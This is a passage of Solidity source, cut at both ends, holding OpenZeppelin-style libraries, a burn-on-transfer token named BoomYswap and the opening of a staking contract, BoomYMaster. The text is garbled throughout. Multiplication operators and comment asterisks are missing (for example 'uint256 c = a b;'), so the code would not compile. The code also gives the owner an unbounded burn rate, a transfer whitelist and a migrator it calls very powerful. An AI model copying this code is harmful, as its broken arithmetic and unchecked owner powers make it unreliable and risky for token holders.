recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _whitelistedAddresses; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _mint(msg.sender, initSupply(10_decimals)); _burnedSupply = 0; } / * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint256) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev Returns the amount of burned tokens. / function burnedSupply() public view returns (uint256) { return _burnedSupply; } /* * @dev Returns the burnrate. / function burnRate() public view returns (uint256) { return _burnRate; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `account` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_whitelistedAddresses[sender] == true \|\| _whitelistedAddresses[recipient] == true) { _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { uint256 amount_burn = amount.mul(_burnRate).div(100); uint256 amount_send = amount.sub(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _burn(sender, amount_burn); amount = amount_send; _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. * * HINT: This function is 'internal' and therefore can only be called from another * function inside this contract! / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); _burnedSupply = _burnedSupply.add(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {burnRate} to a value other than the initial one. / function _setupBurnrate(uint8 burnrate_) internal virtual { _burnRate = burnrate_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership}. * * This module is used through inheritance. It will make available the modifier * `onlyMinter`, which can be applied to your functions to restrict their use to * the minter. / contract Mintable is Context { /* * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the chef contract) / address private _minter; event MintershipTransferred(address indexed previousMinter, address indexed newMinter); /* * @dev Initializes the contract setting the deployer as the initial minter. / constructor () internal { address msgSender = _msgSender(); _minter = msgSender; emit MintershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current minter. / function minter() public view returns (address) { return _minter; } /* * @dev Throws if called by any account other than the minter. / modifier onlyMinter() { require(_minter == _msgSender(), "Mintable: caller is not the minter"); _; } /* * @dev Transfers mintership of the contract to a new account (`newMinter`). * Can only be called by the current minter. / function transferMintership(address newMinter) public virtual onlyMinter { require(newMinter != address(0), "Mintable: new minter is the zero address"); emit MintershipTransferred(_minter, newMinter); _minter = newMinter; } } / website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ / // BoomYswap contract BoomYswap is ERC20("BoomYswap", "BoomY", 18, 2, 8642), Ownable, Mintable { /// @notice Creates `_amount` token to `_to`. Must only be called by the minter (BoomYMaster). function mint(address _to, uint256 _amount) public onlyMinter { _mint(_to, _amount); } function setBurnrate(uint8 burnrate_) public onlyOwner { _setupBurnrate(burnrate_); } function addWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = true; } function removeWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = false; } } / website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ / interface IMigrationMaster { // Perform LP token migration for swapping liquidity providers. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // Migrator must have allowance access to old LP tokens. // EXACTLY the same amount of new LP tokens must be minted or // else something bad will happen. This function is meant to be used to swap // to the native liquidity provider in the future! function migrate(IERC20 token) external returns (IERC20); } contract BoomYMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. uint256 pendingRewards; // Pending rewards for user. uint lastHarvest; //Timestamp of last harvest, used for vesting } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BoomYs to distribute per block. uint256 lastRewardBlock; // Last block number that BoomYs distribution occurs. uint256 accBoomYPerShare; // Accumulated BoomYs per share, times 1e12. See below. uint harvestVestingPeriod; // How much vesting for harvesting } // BoomY token BoomYswap public boomY; // BoomY tokens created per block. uint256 public boomYPerBlock; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrationMaster public migrator; //Has the minting rate halved? bool isMintingHalved; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BoomY mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claim(address indexed user, uint256 indexed pid, uint256 amount); event ClaimAndStake(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( BoomYswap _boomY, uint256 _boomYPerBlock, uint256 _startBlock ) public { boomY = _boomY; boomYPerBlock = _boomYPerBlock; startBlock = _startBlock; isMintingHalved = false; // staking pool poolInfo.push(PoolInfo({ lpToken: _boomY, allocPoint: 1000, lastRewardBlock: startBlock, accBoomYPerShare: 0, harvestVestingPeriod: 0 })); totalAllocPoint = 1000; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint _harvestVestingPeriod ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accBoomYPerShare: 0, harvestVestingPeriod: _harvestVestingPeriod }) ); updateStakingPool(); } // Update the given pool's BoomY allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 